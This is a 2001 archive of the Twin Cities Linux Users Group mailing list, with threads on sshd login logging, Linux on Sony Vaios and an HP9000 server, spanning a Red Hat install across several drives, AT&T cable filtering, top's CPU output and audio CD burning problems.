> > > > > > Shane Kinney wrote: > > > > > Does anyone know if Linux Mandrake 8.0 keeps sshd log files > > > somewhere in the file system? I can't seem to find > any...do I have > > > to write my own to keep track of who logs in? ~Shane > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Fri Aug 24 17:46:41 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] Little Sony Vaio's and Linux Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDF8@mspexch2.office.mktw.net> http://www.linux-laptop.net/ has info on it. I've generally found that once you go through the PAIN of getting linux on a Sony, it generally works well. Most of the time you'll end up doing a network install unless you have a built in CDRom. Some distros will let you specify the IDE device at the lilo prompt on boot, but it doesn't work with Mandrake, at least not that I've found. Kernel 2.4 has support for that little scrolly wheel on the side of the sonys also. Most sony laptops use the Neomagic 256 sound/video setup. The sound and video both use the same memory. You need to make sure that your sound module gets loaded before you start X, otherwise X will overwrite the sound memory, and you get a scratchy sound when you move windows around. :) I have linux installed on about 3 different sony laptops, and it was a pain to get going on all of them. Jay > -----Original Message----- > From: Dave Sherohman [mailto:esper@sherohman.org] > Sent: Friday, August 24, 2001 11:56 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Little Sony Vaio's and Linux > > > On Fri, Aug 24, 2001 at 11:52:24AM -0500, doug wrote: > > Does anyone know if it will run on them??? I have one of > these to play > > with for the weekend: > > > > http://www.sonystyle.com/vaio/sr/index.html > > > > It's pretty cool, and I think I'd get one if I could get > linux running > > on > > it:-) > > Vaios in general have a good rep for compatibility, but I > can't speak to specific models. > > -- > With the arrest of Dimitry Sklyarov it has become apparent > that it is not safe for non US software engineers to visit > the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook > reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From doughanson at mediaone.net Fri Aug 24 22:47:43 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] Beer Meeting Message-ID: <002801c12d18$b2634600$47641918@mn.mediaone.net> I would like to thank everyone for a wonderful time at the beer meeting on Thursday. It was nice to put a face with the posters ;)~ Doug From ssinn at qwest.net Fri Aug 24 22:37:16 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] sshd log files In-Reply-To: <3B867A66.506CE57C@sodatrain.com>; from duncan@sodatrain.com on Fri, Aug 24, 2001 at 11:01:42AM -0500 References: <3B867A66.506CE57C@sodatrain.com> Message-ID: <20010824223716.A4558@thor> Don't forget to restart your syslog daemon and your klog daemon (and if you use it, your scanlog daemon). On Fri, Aug 24, 2001 at 11:01:42AM -0500, duncan wrote: > You can add this to your syslog.conf file to keep track of who logs in.... > > > # Log all logins to /var/log/loginlog > auth.*;user.*;daemon.none /var/log/loginlog > > -- Thanks, Spencer J Sinn From doughanson at mediaone.net Fri Aug 24 22:49:59 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] RedHat Install References: <21F2EFCC0249D211B7AE00C0F201008C8BBFD1@postman.transition.com> Message-ID: <003201c12d19$036b98e0$47641918@mn.mediaone.net> Thank you all for the info!!! I'll try it on Monday... Douger ----- Original Message ----- From: "Steve Grobe" To: Sent: Friday, August 24, 2001 3:48 PM Subject: RE: [TCLUG] RedHat Install > Thanks, next time I have to reinstall Windows maybe I'll give that a shot. > In the mean time I just put Win2K on a FAT32 partition. The only thing I > use Windows for is printing photos, and maybe an occasional game. > > -----Original Message----- > From: Florin Iucha [mailto:florin@iucha.net] > Sent: Friday, August 24, 2001 3:22 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] RedHat Install > > > On Fri, Aug 24, 2001 at 02:02:38PM -0500, Steve Grobe wrote: > > If you get a new kernel (2.4.8) it will work. > > Be carefull, 2.4.9 kernel module doesn't compile because of some min/max > macro issues. > > florin > > > RedHat 7.1 saw my Win2k partition but didn't add it to the lilo config > file. > > Mandrake 8.0 saw it and added it to lilo. As far as reading NTFS5.0 I > think > > you are right neither RedHat 7.1 or Mandrake 8.0 were able to mount it. > > > > > > > > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From mike at getbent.net Fri Aug 24 22:52:42 2001 From: mike at getbent.net (Mike Nielsen) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] HP9000/800 g40 Message-ID: <0108242252420F.04609@Dingo> howdy all. Through a quirk of fate I have the possibility of getting my mits on a HP9000/800 g40. I don't exactly know what that is aside from a cluster of parts roughly the size of a refridgerator. Does anyone know if it's worth the hassle of lugging the thing up two flights of stairs to try to get linux to run on it? I have zero experience with this type of equipment and don't really know what sort of processor memory or whatever is in it. I'm pretty sure its a Risc processor with working harddrives. Beyond that I'm not sure about Mhz or anything. Anyone ever play with one of these? -- ----------------------------- |\/|ike@GetBent.net From tmechanic at mn.mediaone.net Fri Aug 24 23:00:41 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] Anyone got or can get one of these cds? References: <002501c12cbb$26a72800$940f3c9e@DHENRYW2P> Message-ID: <3B8722E9.236EECEA@mn.mediaone.net> Disregard that last message. it's late I'm tired and I wasn't thinking doug wrote: > I found the CD's and I'll be duping them this weekend, there is 109mb on the > first one alone, so there will be some stuff to sift through... I should > have dsl running sometime today (yippee!) so I can upload alot of this > someplace if somebody has room (my site won't hold much of it). This is all > in word 2000 as well... > > Doug > > ----- Original Message ----- > From: "Troy.A Johnson" > To: > Sent: Friday, August 24, 2001 11:20 AM > Subject: Re: [TCLUG] Anyone got or can get one of these cds? > > > Doug, > > > > That would be really good information to have: > > > > To know what will be said against your solution before > > it is said. You can include things in your presentation > > that refute or deflect those criticisms and refer back > > to them when the "MS inspired" questions are asked. > > > > Please send them to the list (or just include me if anyone > > objects) if you do find them. Thanks, > > > > Troy > > > > >>> doug@northlandstudios.com 08/24/01 07:28AM >>> > > Where I work we are an MCSP and get shipments like this. We got our > > monthly shipment yesterday, and I'll look through it today if I can and > > let ya know if we got them. > > > > Doug > > > > On Thu, 2001-08-23 at 23:57, Bob Tanner wrote: > > > > > http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS > > > > > > >Surprisingly enough, this month's edition contained 2 CDs titled: > "Competing > > > >with Linux". > > > > > > > > One is a "Sales Training CD" aimed at resellers and solution partners. > It > > > > primarily deals with how MS-zealots should deal with clients asking > tough > > > > questions about Linux viability. As you can guess, it's really > focussed on > > > > downplaying Linux as possible competition for MS-based solutions. From > the > > > > tone of it, it looks like there is some serious concerns about Linux > from the > > > > boys in Redmond. It talks about the threats Linux poses to MS > solutions, but > > > > even goes as far as telling resellers & solution partners whom to > focus on in > > > > a enterprise when trying to convince enterprises not to opt for Linux. > There > > > > is even - and this is *really* hilariously stupid - a multiple choice > game at > > > > the end of the CD where you have to answer a fictitious client's > questions > > > > about Linux. You score points by clicking on the answers that dismiss > Linux as > > > > a viable enterprise solution. I know some people here at the office > (and those > > > > folks are primarily an MS-centered business) had a good laugh about > this. > > > > > > Anyone get or can get one of these cds? > > > > > > I'd like to read what MS says and I'd like to be able to dismiss their > dismissal > > > of Linux. :-) > > > > > > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tmechanic at mn.mediaone.net Fri Aug 24 22:59:46 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] Anyone got or can get one of these cds? References: <002501c12cbb$26a72800$940f3c9e@DHENRYW2P> Message-ID: <3B8722B2.19028D91@mn.mediaone.net> I have a 20 gig of drive space I'm not using yet, and I'm not in town often enough to notice it taking up space for long doug wrote: > I found the CD's and I'll be duping them this weekend, there is 109mb on the > first one alone, so there will be some stuff to sift through... I should > have dsl running sometime today (yippee!) so I can upload alot of this > someplace if somebody has room (my site won't hold much of it). This is all > in word 2000 as well... > > Doug > > ----- Original Message ----- > From: "Troy.A Johnson" > To: > Sent: Friday, August 24, 2001 11:20 AM > Subject: Re: [TCLUG] Anyone got or can get one of these cds? > > > Doug, > > > > That would be really good information to have: > > > > To know what will be said against your solution before > > it is said. You can include things in your presentation > > that refute or deflect those criticisms and refer back > > to them when the "MS inspired" questions are asked. > > > > Please send them to the list (or just include me if anyone > > objects) if you do find them. Thanks, > > > > Troy > > > > >>> doug@northlandstudios.com 08/24/01 07:28AM >>> > > Where I work we are an MCSP and get shipments like this. We got our > > monthly shipment yesterday, and I'll look through it today if I can and > > let ya know if we got them. > > > > Doug > > > > On Thu, 2001-08-23 at 23:57, Bob Tanner wrote: > > > > > http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS > > > > > > >Surprisingly enough, this month's edition contained 2 CDs titled: > "Competing > > > >with Linux". > > > > > > > > One is a "Sales Training CD" aimed at resellers and solution partners. > It > > > > primarily deals with how MS-zealots should deal with clients asking > tough > > > > questions about Linux viability. As you can guess, it's really > focussed on > > > > downplaying Linux as possible competition for MS-based solutions. From > the > > > > tone of it, it looks like there is some serious concerns about Linux > from the > > > > boys in Redmond. It talks about the threats Linux poses to MS > solutions, but > > > > even goes as far as telling resellers & solution partners whom to > focus on in > > > > a enterprise when trying to convince enterprises not to opt for Linux. > There > > > > is even - and this is *really* hilariously stupid - a multiple choice > game at > > > > the end of the CD where you have to answer a fictitious client's > questions > > > > about Linux. You score points by clicking on the answers that dismiss > Linux as > > > > a viable enterprise solution. I know some people here at the office > (and those > > > > folks are primarily an MS-centered business) had a good laugh about > this. > > > > > > Anyone get or can get one of these cds? > > > > > > I'd like to read what MS says and I'd like to be able to dismiss their > dismissal > > > of Linux. :-) > > > > > > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From thomas at stderr.net Fri Aug 24 23:07:37 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] HP9000/800 g40 In-Reply-To: <0108242252420F.04609@Dingo>; from mike@getbent.net on Fri, Aug 24, 2001 at 10:52:42PM -0500 References: <0108242252420F.04609@Dingo> Message-ID: <20010825060737.B37884@io.stderr.net> On Fri, Aug 24, 2001 at 10:52:42PM -0500, Mike Nielsen wrote: > howdy all. > > Through a quirk of fate I have the possibility of getting my mits on a > HP9000/800 g40. > > I don't exactly know what that is aside from a cluster of parts roughly the > size of a refridgerator. > > Does anyone know if it's worth the hassle of lugging the thing up two flights > of stairs to try to get linux to run on it? I have zero experience with > this type of equipment and don't really know what sort of processor memory or > whatever is in it. > > I'm pretty sure its a Risc processor with working harddrives. Beyond that > I'm not sure about Mhz or anything. > > Anyone ever play with one of these? Can't say I have, but a quick search on google turned up this: http://lists.parisc-linux.org/pipermail/parisc-linux/2001-January/011564.html It doesn't look like linux will run on it :-/ -- Thomas Eibner DnsZone mod_pointer From andy at theasis.com Fri Aug 24 18:10:19 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] Beer Meeting In-Reply-To: <002801c12d18$b2634600$47641918@mn.mediaone.net> Message-ID: > Thursday. It was nice to put a face with the posters ;)~ You mean the "WANTED" posters that are up all over town? Andy > > Doug From jpschewe at mtu.net Fri Aug 24 23:29:02 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:51 2005 Subject: Re [TCLUG] AT&T filtering (UPDATE) In-Reply-To: <20010820091758.B15271@sherohman.org> References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> <20010820091758.B15271@sherohman.org> Message-ID: Well I finally got some time and logged into the chat on AT&T's help site. Turned out they're MUCH more helpful. I don't believe I'll ever try the email support again. Talked with a level 2 tech there that had me try using proxy.mn.mediaone.net:8080 as my http proxy and then things worked. When asked why this is helping his response was that above.net and ballaxxi.net(sp?) are having problems and the traffic from around here bounces through those networks on the way out, so the proxy gets around it. I'm not intending to keep this as a permanent solution, since some sites don't like the proxy so good, but it is working, for now. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From jpschewe at mtu.net Fri Aug 24 23:30:43 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] ATT filtering and now bring in lawyers In-Reply-To: <20010824101408.B5088@ringworld.org> References: <20010824.12245300@linwin.mshome.net> <20010824101408.B5088@ringworld.org> Message-ID: Scott Dier writes: > * Rick Engebretson [010824 09:26]: > > Choosing between M$ (Qwest) and ATT is no choice. Conceeding censorship > > Yes, there is. Buy a Fractional T1 and a frame relay to any ISP in the > area. Norlight, KMC, and twtelecom are three off the top of my head > that could provide the services afaik. McLeod too. Ok, so given unlimited cash flow there are other choices. But if I want high speed internet access for under $60 per month, I'm pretty much stuck. I'm too far away for DSL and AT&T is the cable provider in my area. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From ray at lctn.k12.mn.us Sat Aug 25 06:32:19 2001 From: ray at lctn.k12.mn.us (Raymond Norton) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] spanning hard drives on install Message-ID: <001001c12d59$99c13580$a344a43f@xtratyme.com> I'm new to Linux. I want to install all of Redhat 7.x , which amounts to over 2 gigs. I have 2 or 3 small hard drives, about 1 gig each. I want to use them all to give enough room, but the install process only looks at one drive, and says it is too small for the total package. Is there a way to get around this? Thanks in advance Raymond -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010825/8a6ba782/attachment.html From eng at pinenet.com Sat Aug 25 07:39:53 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] ATT filtering and now bring in lawyers.sdm In-Reply-To: <20010824101408.B5088@ringworld.org> References: <20010824.12245300@linwin.mshome.net> <20010824101408.B5088@ringworld.org> Message-ID: <20010825.12395300@linwin.mshome.net> Protection against communications and computing monopolies is a very old story. In fact, Control Data Corp. had a successful run here in Minnesota for years because they won some protection from IBM's dominance. I was one of the first advertised ISPs in Minnesota in 1985. The goal was freer communications, the technology was developed to meet that goal. Maintaining a free, open, unregulated internet communications system remains a goal. That's why Linux exists. The issue is the same, just technology and people have changed greatly over the years. Computing and internet technology have become entertainment oriented. I am very happy with my slow, reliable, independent ISP. But independent ISPs face some big challenges. As a parent to 3 grown kids, your attitude is very familiar. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/24/01, 10:14:08 AM, Scott Dier wrote regarding Re: [TCLUG] ATT filtering and now bring in lawyers.sdm: > * Rick Engebretson [010824 09:26]: > > Choosing between M$ (Qwest) and ATT is no choice. Conceeding censorship > Yes, there is. Buy a Fractional T1 and a frame relay to any ISP in the > area. Norlight, KMC, and twtelecom are three off the top of my head > that could provide the services afaik. McLeod too. > Or better yet, pick a large national tier 1 isp. > The internet is *not* a regulated space, its via cooperation. If some > ISP's don't want to do what you want, you pick another. There is no > law saying that. > Perhaps they will have to disclose what they do more, but this is > completely insane. > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From timl at rootdown.net Sat Aug 25 07:45:56 2001 From: timl at rootdown.net (Tim Lupfer) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] HP9000/800 g40 In-Reply-To: <0108242252420F.04609@Dingo>; from mike@getbent.net on Fri, Aug 24, 2001 at 10:52:42PM -0500 References: <0108242252420F.04609@Dingo> Message-ID: <20010825074556.A478@rootdown.net> This might be a bit offtopic, but nonetheless ;) Although linux will not run on it, there are netbsd ports available for the 300 and 400 series, and I believe an 800 series port is underway. So you may not want to haul it out to the dumpster just yet. -Tim www.netbsd.org/Ports On Fri, Aug 24, 2001 at 10:52:42PM -0500, Mike Nielsen wrote: + howdy all. + + Through a quirk of fate I have the possibility of getting my mits on a + HP9000/800 g40. + + I don't exactly know what that is aside from a cluster of parts roughly the + size of a refridgerator. + + Does anyone know if it's worth the hassle of lugging the thing up two flights + of stairs to try to get linux to run on it? I have zero experience with + this type of equipment and don't really know what sort of processor memory or + whatever is in it. + + I'm pretty sure its a Risc processor with working harddrives. Beyond that + I'm not sure about Mhz or anything. + + Anyone ever play with one of these? -- Tim Lupfer timl@rootdown.net 0xA7ECF2AB @ pgpkeys.mit.edu www.rootdown.net/~timl You enjoy the company of other people. From lxy at cloudnet.com Sat Aug 25 08:22:44 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] [OT: Windows] Audio CD writing Message-ID: My dad just got himself a CD writer for his computer. When he uses Adaptec CD copier, it makes a CDDA file from the CD audio (digital), and writes it to a CD (digital). Somehow in this process he's getting pops in the audio. This makes no sense since it's all digital. Every CD I've tried burning in this thing does it. It appears to be doing it on several brands of CDRs so I don't think it's the media. Anyone ever heard of this before? -Brian From jpschewe at mtu.net Sat Aug 25 08:44:09 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] spanning hard drives on install In-Reply-To: <001001c12d59$99c13580$a344a43f@xtratyme.com> References: <001001c12d59$99c13580$a344a43f@xtratyme.com> Message-ID: "Raymond Norton" writes: > I'm new to Linux. I want to install all of Redhat 7.x , which amounts to over 2 > gigs. I have 2 or 3 small hard drives, about 1 gig each. I want to use them all > to give enough room, but the install process only looks at one drive, and says > it is too small for the total package. Is there a way to get around this? Yes, create the partitions yourself. When asked how to use the drive, you can then tell the install you want to partition the drives yorself. Then you can tell the installer where to mount the partitions and it'll install across multiple drives. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From bradyh at bitstream.net Sat Aug 25 08:47:01 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 In-Reply-To: <20010818191005.A8418@madoka.tatsumaki.org> References: <998174431.1983.71.camel@localhost.localdomain> <20010818191005.A8418@madoka.tatsumaki.org> Message-ID: <998747222.24507.17.camel@localhost.localdomain> Seems like no matter what I try I get "failed to insert aha152x module". If I can't get this working soon I'll have to give up and install Win98 (my friend needs the machine by Monday). Does anybody have any ideas I can try? Or maybe a cheap (<$20) scsi controller? Brady (in need of an installfest) > Thus spake Brady Hegberg (bradyh@bitstream.net): > > > I'm trying to install Redhat 7.1 on an older Dell with a scsi cdrom and > > an adaptec aha-1510 controller. I've tried selecting the aha-152x > > driver (which I've read should work) but it just says it failed to load. > > After a search on the web I found some info that said that I might have > > to enter parameters for the drive, like irq and address...but I can't > > figure out what these are or how to get them. > > > > According to the manuals, the defaults are IRQ 11 and IO address 340h. The > other possibilities are IRQ's 9, 10, and 12 and IO address 140h. > > If you want to see how to set/read the jumpers, the manuals are here: > > http://www.adaptec.com/worldwide/support/suppbyproduct.html?cat=/Technology/SCSI+Host+Adapters&fromPage=supportindex > > Rob From trammell at trammell.dyndns.org Sat Aug 25 13:36:21 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] spanning hard drives on install In-Reply-To: ; from jpschewe@mtu.net on Sat, Aug 25, 2001 at 08:44:09AM -0500 References: <001001c12d59$99c13580$a344a43f@xtratyme.com> Message-ID: <20010825133621.A31908@trammell.dyndns.org> On Sat, Aug 25, 2001 at 08:44:09AM -0500, Jon Schewe wrote: > "Raymond Norton" writes: > >> I'm new to Linux. I want to install all of Redhat 7.x , which >> amounts to over 2 gigs. I have 2 or 3 small hard drives, about >> 1 gig each. I want to use them all to give enough room, but >> the install process only looks at one drive, and says it is >> too small for the total package. Is there a way to get around >> this? > > Yes, create the partitions yourself. When asked how to use the drive, you can > then tell the install you want to partition the drives yorself. Then you can > tell the installer where to mount the partitions and it'll install across > multiple drives. Okay, so what are we looking at here? (biggest drive) -> 1 partition, mount as /usr (1 Gb drive) -> 2 partitions, 500 Mb each, mount as / and /home another drive -> swap, /var, /opt? I was at Materials Processing again this week -- saw a big stack of small (2 Gb) SCSI drives. Bunches of small IDE drives too. -- [M]en become civilized, not in proportion to their willingness to believe, but in proportion to their willingness to doubt. - H.L. Mencken From clay at fandre.com Sat Aug 25 09:50:42 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] problem with top Message-ID: <20010825095040.A14788@fandre.com> Can someone explain why the first line is always the same? ac:/# top q b n 2 | grep "CPU st" CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle CPU states: 53.3% user, 46.7% system, 0.0% nice, 0.0% idle ac:/# top q b n 2 | grep "CPU st" CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle CPU states: 33.3% user, 66.7% system, 0.0% nice, 0.0% idle ac:/# top q b n 2 | grep "CPU st" CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle CPU states: 53.8% user, 46.2% system, 0.0% nice, 0.0% idle ac:/# top q b n 2 | grep "CPU st" CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle CPU states: 50.0% user, 50.0% system, 0.0% nice, 0.0% idle ac:/# top q b n 2 | grep "CPU st" CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle CPU states: 75.0% user, 25.0% system, 0.0% nice, 0.0% idle ac:/# -------------- next part -------------- A non-text attachment was scrubbed... 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Paul Rech Clay Fandre wrote: > Can someone explain why the first line is always the same? > > ac:/# top q b n 2 | grep "CPU st" > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > CPU states: 53.3% user, 46.7% system, 0.0% nice, 0.0% idle > ac:/# top q b n 2 | grep "CPU st" > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > CPU states: 33.3% user, 66.7% system, 0.0% nice, 0.0% idle > ac:/# top q b n 2 | grep "CPU st" > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > CPU states: 53.8% user, 46.2% system, 0.0% nice, 0.0% idle > ac:/# top q b n 2 | grep "CPU st" > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > CPU states: 50.0% user, 50.0% system, 0.0% nice, 0.0% idle > ac:/# top q b n 2 | grep "CPU st" > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > CPU states: 75.0% user, 25.0% system, 0.0% nice, 0.0% idle > ac:/# > > ------------------------------------------------------------------------ > Part 1.2Type: application/pgp-signature From dieman+tclug at ringworld.org Sat Aug 25 12:12:13 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] HP9000/800 g40 In-Reply-To: <0108242252420F.04609@Dingo> References: <0108242252420F.04609@Dingo> Message-ID: <20010825121213.A26388@ringworld.org> * Mike Nielsen [010824 22:58]: > Through a quirk of fate I have the possibility of getting my mits on a > HP9000/800 g40. > Does anyone know if it's worth the hassle of lugging the thing up two flights > of stairs to try to get linux to run on it? I have zero experience with http://parisc-linux.org/release-0.9/systems.html Nope, not yet. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From clay at fandre.com Sat Aug 25 14:08:44 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] problem with top In-Reply-To: <3B87BE23.FD596A9C@earthlink.net> References: <20010825095040.A14788@fandre.com> <3B87BE23.FD596A9C@earthlink.net> Message-ID: <20010825140842.A31154@fandre.com> A better example would be to do an interactive top (just run top) in one window, and then do a top n 1 in another. (top n 1 means to just do 1 iteration and exit) For some reason the CPU states do not match. (top n 1 never gets updated) Does anyone else have this problem? Paul Rech [rechpj@earthlink.net] wrote: > Do you mean the line with 92.1% idle? > > If it's like vmstat, the first line is cumulative since startup. > > Paul Rech > > > Clay Fandre wrote: > > > Can someone explain why the first line is always the same? > > > > ac:/# top q b n 2 | grep "CPU st" > > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > > CPU states: 53.3% user, 46.7% system, 0.0% nice, 0.0% idle > > ac:/# top q b n 2 | grep "CPU st" > > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > > CPU states: 33.3% user, 66.7% system, 0.0% nice, 0.0% idle > > ac:/# top q b n 2 | grep "CPU st" > > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > > CPU states: 53.8% user, 46.2% system, 0.0% nice, 0.0% idle > > ac:/# top q b n 2 | grep "CPU st" > > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > > CPU states: 50.0% user, 50.0% system, 0.0% nice, 0.0% idle > > ac:/# top q b n 2 | grep "CPU st" > > CPU states: 6.1% user, 1.7% system, 0.1% nice, 92.1% idle > > CPU states: 75.0% user, 25.0% system, 0.0% nice, 0.0% idle > > ac:/# > > > > ------------------------------------------------------------------------ > > Part 1.2Type: application/pgp-signature > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -------------- next part -------------- A non-text attachment was scrubbed... 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I can put it on www.mn-linux.org -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From timl at rootdown.net Sat Aug 25 19:28:46 2001 From: timl at rootdown.net (Tim Lupfer) Date: Mon Jan 17 13:26:52 2005 Subject: [TCLUG] spanning hard drives on install In-Reply-To: <001001c12d59$99c13580$a344a43f@xtratyme.com>; from ray@lctn.k12.mn.us on Sat, Aug 25, 2001 at 06:32:19AM -0500 References: <001001c12d59$99c13580$a344a43f@xtratyme.com> Message-ID: <20010825192846.A473@rootdown.net> _all_ of it? Is that even possible? I haven't ever used redhat, but in my debian experience such an endeavor would results in 1.) packages conflicts (such as with multipled ftp daemons, news daemons, gdm/xdm, etc) 2.) a lot of "junk", for lack of a better term. 3.) potentially vulnerable services running that you are unaware of (rpc services, etc) If you actually do have a reason for needing everything installed, my suggestion would be to install the core components that you need, and once you have a booting system mount the other drives at arbitrary points (such as /usr/local and /usr/local2) and install the rest of the packages to those points. On Sat, Aug 25, 2001 at 06:32:19AM -0500, Raymond Norton wrote: + I'm new to Linux. I want to install all of Redhat 7.x , which amounts to over 2 gigs. I have 2 or 3 small hard drives, about 1 gig each. I want to use them all to give enough room, but the install process only looks at one drive, and says it is too small for the total package. Is there a way to get around this? + + Thanks in advance + + Raymond -- Tim Lupfer timl@rootdown.net 0xA7ECF2AB @ pgpkeys.mit.edu www.rootdown.net/~timl "You have been in Afghanistan, I perceive." -- Sir Arthur Conan Doyle, "A Study in Scarlet" From blayer at qwest.net Sat Aug 25 21:31:57 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] [OT: Windows] Audio CD writing In-Reply-To: References: Message-ID: <20010825213157.7441f661.blayer@qwest.net> On Sat, 25 Aug 2001 08:22:44 -0500 (CDT) "Brian" wrote: Somehow in this process he's getting pops in > the audio. This makes no sense since it's all digital. Every CD I've > tried burning in this thing does it. This is a Windows question, but the answer is cross-platform, so I'll give it. The short answer is that Adaptec EZ-CD Creator (aka Sleazy CD Creature) is a piece of junk. The long answer involves the way in which digital audio is stored on a CD-ROM. Yes it is 'all digital' but CDDA data, unlike regular data, has no reference or checksumming infomation. It is stored in a raw streaming format, so that when the drive reads a block of data from the CD, the drive cannot know with assurance that it read exactly what was supposed to be there. If a drive has a large amount of jitter or errors, the result can be pops and ticks on the copy. Hey, what am I saying? You should really be listening to vinyl LPs anyway ;) For full infomation on the problem / solution, go to this URL: http://www.xiph.org/paranoia/ and read the FAQs and documentation. For *nix users, CDDA Paranoia pretty much solves this issue. In the meantime, tell dad to pitch EZ-CD Creator, and download Nero Burning ROM; a _real_ CD burning software, that should fix this issue: http://www.ahead.de You can demo it for free, which is worth your time. Be sure to uninstall EZ-CD creator FIRST, and reboot the machine before installing Nero. (Oh by the way, did you try burining onto a different brand of media, or burning at a slower speed? :) -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net 